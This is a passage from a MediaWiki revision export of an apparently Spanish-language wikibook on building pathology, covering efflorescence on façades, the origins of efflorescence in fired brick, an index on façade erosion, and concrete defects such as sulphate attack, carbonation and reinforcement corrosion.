La '''eflorescencia''' se trata de un fenómeno que se produce en la superficie  exterior de los cerramientos y consiste en la recristalización de sales que pertenecen al mismo cerramiento distribuidas mediante disolución con el agua que los atraviesa y una evaporación posterior al llegar a la superficie.
Para que se produzcan las eflorescencias es necesaria la presencia de tres fenómenos:

:1-'''Sales en disolución''' en alguno de los elementos que compongan el cerramiento. Principalmente serán los materiales porosos los susceptibles a contener sales solubles: obras de fábrica, pétreos, cerámicos…

:2-'''Presencia de [[patología de la edificación/Fachadas/Humedades|humedad]]'''. La más habitual sueles ser la humedad infiltrada, pero los pueden producir alguno de los cinco tipos de humedades descritos en el apartado de humedad (infiltrada, capilar, accidental, condensación intersticial, de obra). 

:3-Transporte de las sales a través de los cerramientos hasta que se produce la '''recristalización'''. Esta recristalización puede suceder en la superficie o en el interior del material, dependiendo de la naturaleza de las sales, de la porosidad de los materiales y de las condiciones de evaporación. En caso de que la recristalización se produzca en alguna oquedad de los materiales se denomina fenómeno de '''criptoflorescencia'''.

El último fenómeno es el que nos definirá claramente la lesión, por tanto las eflorescencias serán lesiones químicas de las fachadas.


[[../|EFLORESCENCIAS]]

1.Definición

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>69e67pjeff9m3q2siawwhbqce6y0jko</sha1>
    </revision>
    <revision>
      <id>430067</id>
      <parentid>430058</parentid>
      <timestamp>2026-08-02T10:52:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430067</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2071" sha1="nhl0lg2i4qp2iwwd4z91so93sw1044b" xml:space="preserve">'''1.DEFINICIÓN'''

La '''eflorescencia''' se trata de un fenómeno que se produce en la superficie  exterior de los cerramientos y consiste en la recristalización de sales que pertenecen al mismo cerramiento distribuidas mediante disolución con el agua que los atraviesa y una evaporación posterior al llegar a la superficie.
Para que se produzcan las eflorescencias es necesaria la presencia de tres fenómenos:

:1-'''Sales en disolución''' en alguno de los elementos que compongan el cerramiento. Principalmente serán los materiales porosos los susceptibles a contener sales solubles: obras de fábrica, pétreos, cerámicos…

:2-'''Presencia de [[patología de la edificación/Fachadas/Humedades|humedad]]'''. La más habitual sueles ser la humedad infiltrada, pero los pueden producir alguno de los cinco tipos de humedades descritos en el apartado de humedad (infiltrada, capilar, accidental, condensación intersticial, de obra). 

:3-Transporte de las sales a través de los cerramientos hasta que se produce la '''recristalización'''. Esta recristalización puede suceder en la superficie o en el interior del material, dependiendo de la naturaleza de las sales, de la porosidad de los materiales y de las condiciones de evaporación. En caso de que la recristalización se produzca en alguna oquedad de los materiales se denomina fenómeno de '''criptoflorescencia'''.

El último fenómeno es el que nos definirá claramente la lesión, por tanto las eflorescencias serán lesiones químicas de las fachadas.


[[../|EFLORESCENCIAS]]

1.Definición

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>nhl0lg2i4qp2iwwd4z91so93sw1044b</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Orígenes de las Eflorescencias</title>
    <ns>0</ns>
    <id>13279</id>
    <revision>
      <id>430048</id>
      <parentid>145866</parentid>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS]]: Moviendo según manual de títulos</comment>
      <origin>145866</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2318" sha1="7dyaan7y6ekag4sq0wrcdlmdhp2ibdp" xml:space="preserve">'''2. ORIGENES DE LAS EFLORESCENCIAS DEBIDOS AL LADRILLO:'''

:1.Estaban '''presentes en las materias primas''' originales.

:2.Se han '''formado durante el secado y la  cocción''' por reacción química con los gases que han rodeado las piezas.

:3.Se han originado '''durante la cocción por interacción''' de los distintos  componentes de las materias primas.

Uno de los componentes esenciales para la aparición de eflorescencias son los sulfatos solubles derivados del azufre que contienen las materias primas. Este azufre puede aparecer de forma de:
:a)- Sulfatos  solubles.
:b)- Sulfuros  insolubles.
:c)- Sulfatos  insolubles.

Los sulfatos  contenidos  en  las materias primas '''no son necesariamente''' los que aparecen en el '''producto cocido''', por lo que hay que  procurar  evitar que dichos compuestos se sulfaten  durante el secado y la cocción por efecto de los gases de la combustión. Por tanto, se formarán por:

:1.'''La presencia de anhídrido sulfuroso''' en la atmósfera durante el secado y la cocción  de  los  ladrillos  puede  ser  la  causa  de  graves  problemas de eflorescencias ya que se  forman  los sulfatos alcalinos que dar lugar a estas.

:2.Los materiales que en forma natural no eflorescen, pueden hacerse eflorescentes por  '''cocción en atmósfera sulfurosa'''. Si además de cocer en atmósfera sulfurosa, se seca el  producto en la misma atmósfera el problema de la florescencia puede incrementarse. Si además las arcillas contienen impurezas de carbonatos de calcio o de magnesio, aun se hará mayor la presencia de contenido de sulfatos si la cocción se produce en esta atmósfera.

:3.La presencia de estos gases sulfurosos se debe generalmente a los combustibles  utilizados, como el '''fuel y el carbón''', en el proceso de secado y de cocción.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

2.Origenes de las eflorescencias

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>7dyaan7y6ekag4sq0wrcdlmdhp2ibdp</sha1>
    </revision>
    <revision>
      <id>430060</id>
      <parentid>430048</parentid>
      <timestamp>2026-08-02T10:50:42Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/Orígenes de las Eflorescencias]]</comment>
      <origin>145866</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2318" sha1="7dyaan7y6ekag4sq0wrcdlmdhp2ibdp" xml:space="preserve">'''2. ORIGENES DE LAS EFLORESCENCIAS DEBIDOS AL LADRILLO:'''

:1.Estaban '''presentes en las materias primas''' originales.

:2.Se han '''formado durante el secado y la  cocción''' por reacción química con los gases que han rodeado las piezas.

:3.Se han originado '''durante la cocción por interacción''' de los distintos  componentes de las materias primas.

Uno de los componentes esenciales para la aparición de eflorescencias son los sulfatos solubles derivados del azufre que contienen las materias primas. Este azufre puede aparecer de forma de:
:a)- Sulfatos  solubles.
:b)- Sulfuros  insolubles.
:c)- Sulfatos  insolubles.

Los sulfatos  contenidos  en  las materias primas '''no son necesariamente''' los que aparecen en el '''producto cocido''', por lo que hay que  procurar  evitar que dichos compuestos se sulfaten  durante el secado y la cocción por efecto de los gases de la combustión. Por tanto, se formarán por:

:1.'''La presencia de anhídrido sulfuroso''' en la atmósfera durante el secado y la cocción  de  los  ladrillos  puede  ser  la  causa  de  graves  problemas de eflorescencias ya que se  forman  los sulfatos alcalinos que dar lugar a estas.

:2.Los materiales que en forma natural no eflorescen, pueden hacerse eflorescentes por  '''cocción en atmósfera sulfurosa'''. Si además de cocer en atmósfera sulfurosa, se seca el  producto en la misma atmósfera el problema de la florescencia puede incrementarse. Si además las arcillas contienen impurezas de carbonatos de calcio o de magnesio, aun se hará mayor la presencia de contenido de sulfatos si la cocción se produce en esta atmósfera.

:3.La presencia de estos gases sulfurosos se debe generalmente a los combustibles  utilizados, como el '''fuel y el carbón''', en el proceso de secado y de cocción.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

2.Origenes de las eflorescencias

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]</text>
      <sha1>7dyaan7y6ekag4sq0wrcdlmdhp2ibdp</sha1>
    </revision>
    <revision>
      <id>430068</id>
      <parentid>430060</parentid>
      <timestamp>2026-08-02T10:52:26Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430068</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2331" sha1="10u73uqyzud41mgt4inl4fzc80uxqhc" xml:space="preserve">'''2. ORIGENES DE LAS EFLORESCENCIAS DEBIDOS AL LADRILLO:'''

:1.Estaban '''presentes en las materias primas''' originales.

:2.Se han '''formado durante el secado y la  cocción''' por reacción química con los gases que han rodeado las piezas.

:3.Se han originado '''durante la cocción por interacción''' de los distintos  componentes de las materias primas.

Uno de los componentes esenciales para la aparición de eflorescencias son los sulfatos solubles derivados del azufre que contienen las materias primas. Este azufre puede aparecer de forma de:
:a)- Sulfatos  solubles.
:b)- Sulfuros  insolubles.
:c)- Sulfatos  insolubles.

Los sulfatos  contenidos  en  las materias primas '''no son necesariamente''' los que aparecen en el '''producto cocido''', por lo que hay que  procurar  evitar que dichos compuestos se sulfaten  durante el secado y la cocción por efecto de los gases de la combustión. Por tanto, se formarán por:

:1.'''La presencia de anhídrido sulfuroso''' en la atmósfera durante el secado y la cocción  de  los  ladrillos  puede  ser  la  causa  de  graves  problemas de eflorescencias ya que se  forman  los sulfatos alcalinos que dar lugar a estas.

:2.Los materiales que en forma natural no eflorescen, pueden hacerse eflorescentes por  '''cocción en atmósfera sulfurosa'''. Si además de cocer en atmósfera sulfurosa, se seca el  producto en la misma atmósfera el problema de la florescencia puede incrementarse. Si además las arcillas contienen impurezas de carbonatos de calcio o de magnesio, aun se hará mayor la presencia de contenido de sulfatos si la cocción se produce en esta atmósfera.

:3.La presencia de estos gases sulfurosos se debe generalmente a los combustibles  utilizados, como el '''fuel y el carbón''', en el proceso de secado y de cocción.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

2.Origenes de las eflorescencias

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN|6.Prevención]]

{{AutoCat}}</text>
      <sha1>10u73uqyzud41mgt4inl4fzc80uxqhc</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Erosión</title>
    <ns>0</ns>
    <id>13280</id>
    <revision>
      <id>430176</id>
      <parentid>417077</parentid>
      <timestamp>2026-08-02T11:55:24Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430176</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1242" sha1="d7t7fpu276cbqo3you7rgz2hg55khc3" xml:space="preserve">== 5. EROSIONES ==

'''[[/1.INTRODUCCIÓN]]'''

'''[[/2.ANÁLISIS]]'''

*2.1.Erosión mecánica

*2.2.Erosión física

*2.3.Erosión química

'''[[/3.DIAGNÓSTICO]]'''

'''[[/4.REPARACIÓN DE EROSIÓN MECÁNICA]]''' 

*4.1. Actuación sobre las causas.

*4.2.Actuación sobre el efecto.

'''[[/5.REPARACIÓN DE EROSIÓN FÍSICA]] ''' 

*5.1. Actuación sobre las causas.

*5.2.Actuación sobre el efecto.

'''[[/6.REPARACIÓN DE EROSIÓN QUÍMICA ]]''' 

*6.1. Actuación sobre las causas.

*6.2.Actuación sobre el efecto.

'''[[/7.PREVENCIÓN DE EROSIÓN MECÁNICA]]  ''' 

'''[[/8.PREVENCIÓN DE EROSIÓN FÍSICA ]]''' 

'''[[/9.PREVENCIÓN DE EROSIÓN QUÍMICA ]]''' 


BIBLIOGRAFÍA

-“''Patología de cerramientos y acabados arquitectónicos''”, Juan Monjo Carrio. Ed. Munilla-Lería, 1997.

-“''Patología de fachadas urbanas''”, Departamento de Construcción de la ETSAV, Universidad de Valladolid.

-“''Lesiones en los edificios: síntomas, causas y reparación''”, Biblioteca de Arquitectura y Construcción.

-“''Tratado de rehabilitación''”, Juan Monjo Carrio

-“''Patología de la construcción, detalles constructivos''”. F. Etchler.

-''Fotografías de casos reales realizadas in situ''

{{AutoCat}}</text>
      <sha1>d7t7fpu276cbqo3you7rgz2hg55khc3</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Lesiones</title>
    <ns>0</ns>
    <id>13281</id>
    <revision>
      <id>430168</id>
      <parentid>417545</parentid>
      <timestamp>2026-08-02T11:54:50Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430168</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13661" sha1="nk548nggjgp4poz5fwi0jhspwn5b18l" xml:space="preserve">=Lesiones Propias Directas=

== Formales ==
&gt;[[Patología de la edificación/Estructuras de hormigón/Reparación/Protección paliativa superficial|Acceso directo a &quot;Reparación&quot;: Protección paliativa superficial para lesiones formales]]

=== Fisuración ===
[[Patología de la edificación/Estructuras de hormigón/Lesiones/Fisuración|Fisuración de estructuras de hormigón]]


=== Disgregación ===
Las '''disgregaciones''' son roturas que se producen en el interior del hormigón por tracciones internas que el hormigón no puede resistir. Pueden producirse por causas muy diversas.

Las acciones de tipo físico que pueden deteriorar al hormigón dando lugar a su desgaste superficial o a su pérdida de integridad o disgregación pueden ser de diferentes tipos tales como: hielo y deshielo; abrasión, cavitación y choques térmicos. Existen procesos muy variados de erosión del hormigón, parte de ellos ligados a usos industriales específicos. Otros son de tipo más general y se resumen a continuación:


:'''Desgaste superficial por abrasión'''
:La abrasión producida por elementos que rozan sobre las superficies del hormigón produce un desgaste muy importante del mismo que no sólo se traduce en la formación de una superficie suave y deslizante sino también, en muchas ocasiones, en la destrucción del hormigón.

:El desgaste superficial es producido por acciones mecánicas debidas a tráfico de peatones, vehículos ordinarios, vehículos industriales especiales y más excepcionalmente a la acción del oleaje, si el agua lleva partículas en suspensión. La resistencia a la abrasión es proporcionada por el árido grueso, pues el mortero tiene una resistencia al desgaste inferior a la del árido.


:'''Desgaste superficial por cavitación'''
:El fenómeno de cavitación ataca a la superficie del hormigón en forma de picaduras que posteriormente se unen en zonas erosionadas amplias. Se trata de un arrancamiento progresivo del hormigón.


:'''Disgregación superficial por acción del hielo'''
:Antes de la helada, tanto el mortero como el árido grueso absorben agua y expanden al congelarse. Los efectos producidos por el aumento de volumen dentro de los poros se traduce en tensiones importantes en el hormigón que termina produciendo roturas locales en la superficie, con pérdida de material. Dicho deterioro se caracteriza por el progresivo desprendimiento de trozos en forma de escama, en planos paralelos a las superficies Estos efectos son tanto más importantes cuanto mayor sea la porosidad del hormigón y cuanto mayor sea el número de ciclos hielo-deshielo a que se encuentre sometido.

[[Patología de la edificación/Estructuras de hormigón/Reparación/Morteros de reparación|Reparación de hormigones disgregados]]


=== Desagregación ===
[[Archivo:Desagregacion.jpg|thumb|90px|desagregación]]
La '''desagregación''' consiste en la degradación del cemento que deja de funcionar como aglomerante y en consecuencia deja libres los áridos. Las causas de las desagregaciones suelen ser ataques químicos, sobre todo sulfatos y cloruros.
El proceso es lento y empieza generalmente con un cambio de coloración, seguido de la formación de fisuras entrecruzadas que van aumentando progresivamente. A continuación, la superficie se va abarquillando, hasta que se desprende y se va desintegrando la masa del hormigón.
[[Patología de la edificación/Estructuras de hormigón/Reparación|Reparación del hormigón desagregado]]

	
=== Deformaciones Impuestas ===

'''Fluencia'''
Consiste en la deformación del hormigón a tensión constante que se desarrolla a los largo del tiempo y es adicional a la que se produce instantáneamente, o en pocos minutos, cuando se aplican tensiones al hormigón.
La fluencia se produce tanto para tensiones de compresión como de tracción. La fluencia bajo tensiones de compresión es función de la resistencia del hormigón, de la tensión aplicada, de la humedad relativa del ambiente y del espesor de la pieza.
Sin embargo, como el hormigón experimenta el proceso de fluencia y el acero no (despreciables), al tener que ser las deformaciones de ambos materiales comunes a causa de la adherencia, se produce una transferencia de tensiones, relajándose las del hormigón e incrementándose las del acero.


'''Variaciones térmicas'''
Las variaciones térmicas en el ambiente pueden provocar dilataciones en el hormigón. Si estas deformaciones están coartadas provocará tensiones y la posible fisuración en las piezas. De hecho, tales tensiones se controlan mediante la disposición de juntas de dilatación en las estructuras.


'''Variaciones higrométricas'''
Los cambios de humedad ambiente, afectan dimensionalmente al hormigón, con indepen-dencia de su influencia en el proceso de retracción hidráulica. Si estas variaciones dimensio-nales están coartadas, se producen estados tensionales en la estructura que en un primer momento provocan su deformación y pueden llegar a provocar fisuras.


'''Asientos del terreno'''
[[Archivo:Asiento_muro_de_contencion.JPG|thumb|100px|asiento de un muro de contención]]
Los '''asientos del terreno''' son, con frecuencia, causa de problemas patológicos en las estructuras. Por lo general, en el caso de pilares de entramados si un pilar desciende debido al asiento de su cimiento, reduce su carga. Sin embargo, el valor total de las acciones verticales no ha variado, por lo que la reducción de carga del pilar que ha asentado ha de verse compensada por una transferencia de esa carga reducida a los pilares próximos. Son muy habituales los casos de agotamiento resistente de pilares por asiento de otros próximos. También es muy común que para el caso de dinteles continuos asociados a pilares es que el dintel se fisure en la cara inferior en el extremo inmediato al pilar que asienta y en cara superior en el extremo opuesto.

[[Patología de la edificación/Estructuras de hormigón/Reparación|Reparación de estructuras de hormigón deformadas]]


== Posicionales ==

== Sustanciales ==
&gt;[[Patología de la edificación/Estructuras de hormigón/Reparación/Protección paliativa interna|Acceso Directo a &quot;Reparación&quot;: Protección paliativa interna para lesiones sustanciales]]


=== CORROSIÓN DEL HORMIGÓN ===
La '''corrosión del hormigón''' por '''agentes químicos''' suele ser la que mayores daños ocasiona en las estructuras. La durabilidad de un hormigón se puede medir por la velocidad con la que el mismo se descompone como resultado de acciones químicas.

En la mayor parte de los casos, el ataque de los agentes agresivos químicos se produce sobre el cemento; en otras ocasiones, las menos, el ataque se producirá sobre los áridos. Las diferentes acciones de tipo químico que se producen en el hormigón se pueden ser: ataque por sulfatos, cloruros, carbonatos y otros iones; ataque por ácidos; reacción árido-álcalis; re-acción en áridos con sulfuros susceptibles de oxidarse, etc.

:
==== '''Ataque por sulfatos''' ====
:Las sales de sulfatos, en su ataque al cemento del hormigón, dan lugar a componentes fuertemente expansivos que terminan destruyéndolo totalmente.
:La desagregación del hormigón se inicia en la superficie con un cambio de coloración seguido de la aparición de fisuras entrecruzadas cuyo espesor va aumentando a la vez que se va produciendo una delaminación del hormigón superficial con curvado de las capas más externas del mismo como consecuencia de las tensiones que produce la expansión de los productos producidos.

==== '''Ataque por ácidos. Carbonatación''' ====
:Es un tipo de reacción ácida, de excepcional importancia en la durabilidad del hormigón.
:La carbonatación es el proceso por el cual el hormigón de recubrimiento pierde la alcalinidad que mantiene protegida la armadura. Se produce avanzando desde el exterior. 
:[[Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado/Carbonatación|Definición de Carbonatación]]


==== '''Reacción árido-álcali''' ====
:Como ya se ha descrito anteriormente, el daño se inicia con una pequeña superficie fisurada de forma irregular seguida eventualmente por una completa desintegración. La expansión progresa en las direcciones de menor resistencia originando fisuras paralelas a la superficie y en la dirección de los esfuerzos de compresión a que esté sometido el elemento.

==== '''Oxidación de áridos sulfurosos''' ====
:La oxidación de los áridos sulfurosos con su paso a sulfatos se manifiesta en for-ma de fisuras poligonales o rectas que van aumentando hasta convertirse en grietas a la vez que van produciendo un hinchazón y desagregación del hormigón en la zona afectada.


=== CORROSIÓN DE LAS ARMADURAS ===
[[Archivo:Corrosion_de_armadura.jpg|thumb|100px|corrosión de armaduras]]
En primer lugar, hemos de distinguir entre '''oxidación''' y '''corrosión electroquímica'''. La oxidación se presenta en toda la superficie del acero, mientras que la corrosión se localiza en un principio en puntos que actúan como ánodos, dando lugar a la corrosión localizada aunque luego llegue a extenderse a toda la superficie formando la corrosión generalizada. Si la corrosión se presenta de forma puntual en la superficie del metal se denomina corrosión por picadura. 

Los procesos de corrosión se caracterizan por la presencia de hidróxido de hierro, de una tonalidad rojiza y denominada herrumbre. 

La corrosión generalizada se produce como un proceso que abarca a todo el metal que sufre el efecto corrosivo de forma homogénea y en toda su superficie, dando lugar a la formación de herrumbre con un incremento importante de volumen que se traduce en fuertes tensiones en el hormigón, ocasionando fisuración, disgregaciones y pérdida de adherencia del hormigón con las barras de acero.

Es importante señalar la influencia de la fisuración en el proceso de corrosión. La fisura supone un camino de acceso a la armadura de los agentes agresivos, en particular del anhídrido carbónico y de los cloruros, mucho más rápido que la estructura porosa de recubrimiento. El ancho de fisura tiene importancia en la iniciación de la fisuración y en la rotura de la capa de pasivación. Después de la despasivación, en anchos hasta 0,4 mm, el ancho de fisura tiene poca importancia en la velocidad de corrosión.

En líneas generales, para anchos pequeños de fisuras, es más importante para la velocidad de corrosión la reducción del recubrimiento que el ancho de la fisura.

En las fisuras transversales se dan a veces problemas de ‘cicatrización’ por relleno con polvo del ambiente. En otras ocasiones se produce una ‘autocicatrización’ por los productos de la corrosión y depósitos cálcicos. Las fisuras longitudinales son, naturalmente, más peligrosas que las transversales, ya que afectan a superficies mucho mayores de la barra.


=== CAMBIOS DE COLOR ===
La superficie del hormigón sufre a lo largo de su vida cambios de color por causas muy diversos. En el caso del hormigón visto, los cambios cromáticos pueden representar un fallo que puede venir a consecuencia de: cambio de color entre partidas de cemento, decoloración debida a la acción de la luz solar, cambio de color en zonas que han requerido la reparación de algún defecto. La aparición de defectos en las obras de hormigón es inevitable y puede afectar de forma importante al aspecto estético y a la durabilidad.


=== EFLORESCENCIAS ===
Las '''eflorescencias''' son depósitos de sales cristalinas, usualmente de color blanco, que aparecen en la superficie del hormigón endurecido. Se producen por la circulación del agua dentro de la masa del hormigón, que lleva a la superficie sales existentes en los áridos.


=== DEPÓSITOS DE POLVO ===
El viento deposita polvo sobre las superficies del hormigón. En zonas de escasa lluvia, como ciudades al borde de zonas desérticas, llega en algunos casos a ‘colorear’ el hormigón.
En general, es el polvo muy fino (d ≤ 0,01 mm) el que se adhiere más firmemente a la superficie rugosa del hormigón. 
En este problema es fundamental la capacidad de lavado de las superficies por el agua de lluvia, tanto por los rehundidos, resaltos, etc., que crean zonas de muy difícil o imposible limpieza, como por la influencia de la inclinación de la superficie.


=== DEPÓSITOS DE CULTIVOS BIOLÓGICOS ===
En superficies húmedas de hormigón, es fácil que se alojen '''cultivos biológicos''', en particular algas, que afean el aspecto del hormigón.


= '''Otras Lesiones y Síntomas''' =

== '''Fallos y Lesiones Derivadas''' ==
* '''[[Patología de la edificación/Estructuras de hormigón/Lesiones/Lesiones derivadas de los defectos del acero|Lesiones derivadas de los defectos del acero]]'''

== '''Fallos y Lesiones secundarias integradas''' ==

== '''Otros síntomas patológicos''' ==


= Bibliografía =
* '''Carles Broto''': ENCICLOPEDIA BROTO DE PATOLOGÍAS DE LA CONSTRUCCIÓN. Barcelona 2005. Biblioteca ETSAM: 69.059 bro-enc 1-6
* '''M.Fernández Cánovas''': PATOLOGÍA Y TERAPEÚTICA DEL HORMIGÓN ARMADO. Colegio de Ingenieros de Caminos, Canales y Puertos, Madrid, 1994. Biblioteca ETSAM: 691.3 FER pat	
* '''Edgard B.Grunau''': LESIONES EN EL HORMIGÓN. Ceac, Barcelona, 1988. Biblioteca ETSAM: 691.3 GRU les
* '''J. Calavera''': CALCULO, CONSTRUCCIÓN Y PATOLOGÍAS DE FORJADOS EDIFICACIÓN. Intemac. 1988 Biblioteca ETSAM: 624.012 cal cal
* '''AA.VV. (1984)''': CURSO DE REHABILITACIÓN. TOMO 5. LA ESTRUCTURA. Colegio Oficial de Ar-quitectos; Madrid, 1984. ISBN 84-85572-70-X.

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>nk548nggjgp4poz5fwi0jhspwn5b18l</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/Tipologías</title>
    <ns>0</ns>
    <id>13283</id>
    <revision>
      <id>430050</id>
      <parentid>145867</parentid>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS]]: Moviendo según manual de títulos</comment>
      <origin>145867</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4610" sha1="lzm2ypmmqwcdgtousa14h48vrssz0w9" xml:space="preserve">'''3. TIPOLOGÍAS'''

Las eflorescencias tienen el inconveniente que nunca se sabe cuando, donde y como  van a aparecer. Se sabe que tienden a manifestarse en determinadas áreas de las obra, por lo que habrá que tener en cuenta: (esquema utilizado en “patología de fachadas urbanas” y en libro de Juan Monjo)

:3.1 Sales eflorescibles
	
Las sales eflorescibles que actúan dentro de la construcción es un número elevado, sin embargo hay algunos tipos que son más frecuentes de encontrar en la edificación como son:

:-'''Sulfato cálcico''' (hormigones y mamposterías): Aparece gracias a la existencia de otras sales y en periodos largos de humedad.
:-'''Sulfato potásico''' (arcillas, hormigones y morteros con agua de mar): Provocan una capa cristalina y provocan erosiones del material.
:-'''Sulfato magnésico''' – '''Sal de Epsom''' (piedras sedimentarias, yeso): Producen una pequeña erosión al cristalizar. Son manchas de color blanco y no permiten un recubrimiento de pintura sobre ellas.
:-'''Carbonato cálcico''' (materiales calizos): Producen una capa exterior blanca muy clara.


:3.2 Materiales eflorescibles

Se tratan de los materiales más eflorescibles que se utilizan en construcción. Dependerá la cantidad de sales que tengan según el tipo de arcilla que los constituyan.
Además, con los mismos componentes se pueden encontrar distintos niveles de eflorescencias, por lo que la UNE regula la cantidad de sales que contienen los elementos que se van a incorporar a obra.
Los tipos de eflorescencia se clasificarán según el tiempo de acción en el que se desarrollen. Siendo las eflorescencias temporales todas aquellas que sean fáciles de disolver nuevamente y que puedan limpiarse con facilidad. Sin embargo, las definidas como permanentes son las que presentan una gran adherencia y por tanto, una enorme dificultad para su eliminación.


'''TIPOS DE EFLORESCENCIAS QUE APARECEN:'''

'''A_ ''Ladrillos y bloques cerámicos:'''''

El  contenido  de  sales  solubles en  el  ladrillo  puede  ser  del  2%  a  más  o  menos,  sales  que son  susceptibles  de  provocar  eflorescencia. Sin embargo, las  sales  que  aparecen  como  eflorescencias  en  el  exterior  del  ladrillo  tienen, una  composición  diferente  de  la  que  poseen  las  sales  solubles  contenidas  en  el  interior  del  mismo:

:1-Al colocar el '''ladrillo en obra''' los elementos tienden a sacar las sales que se encuentran en su interior, dependerá de la humedad que haya en obra tanto del propio ladrillo como del mortero.  Florescencia inevitable.

:2-En los materiales muy eflorescibles debido a las '''infiltraciones de agua''' recristalizarán en superficie cuando deje de llover. Con el siguiente día de lluvia las manchas producidas se limpiarán y el proceso comienza de nuevo. Se tratan de eflorescencias cíclicas.

:3-El uso de '''remates horizontales''' con ladrillo a sardinel permite una '''filtración del agua''', por tanto se producirá el mismo proceso descrito en el punto anterior. Se tratan de eflorescencias cíclicas.

:4-Los propios elementos constructivos pueden producir eflorescencias sobre el otro material: 

::- Mortero material que produce las sales: Aparece en perímetro del ladrillo.
::-  Ladrillo material que produce las sales:
:::- En el perímetro del propio ladrillo. ERROR EJECUCIÓN
:::- En parte central del ladrillo: Es claramente del propio material.
	
:5-'''Humedades''' producidas por culpa de '''terreno''' u hormigón de cimentación. 

:6-Bovedillas utilizadas en los forjados crean eflorescencias en los techos de las mismas por culpa de humedades. 
	

'''B_ ''Ladrillos y bloques de morteros:'''''

:1-Las eflorescencias que provoquen serán debidos al tipo de árido que se utilice y a los producidos por el cemento.
::- '''Áridos''': Aparecen en el centro del bloque. Eflorescencia frecuentes.
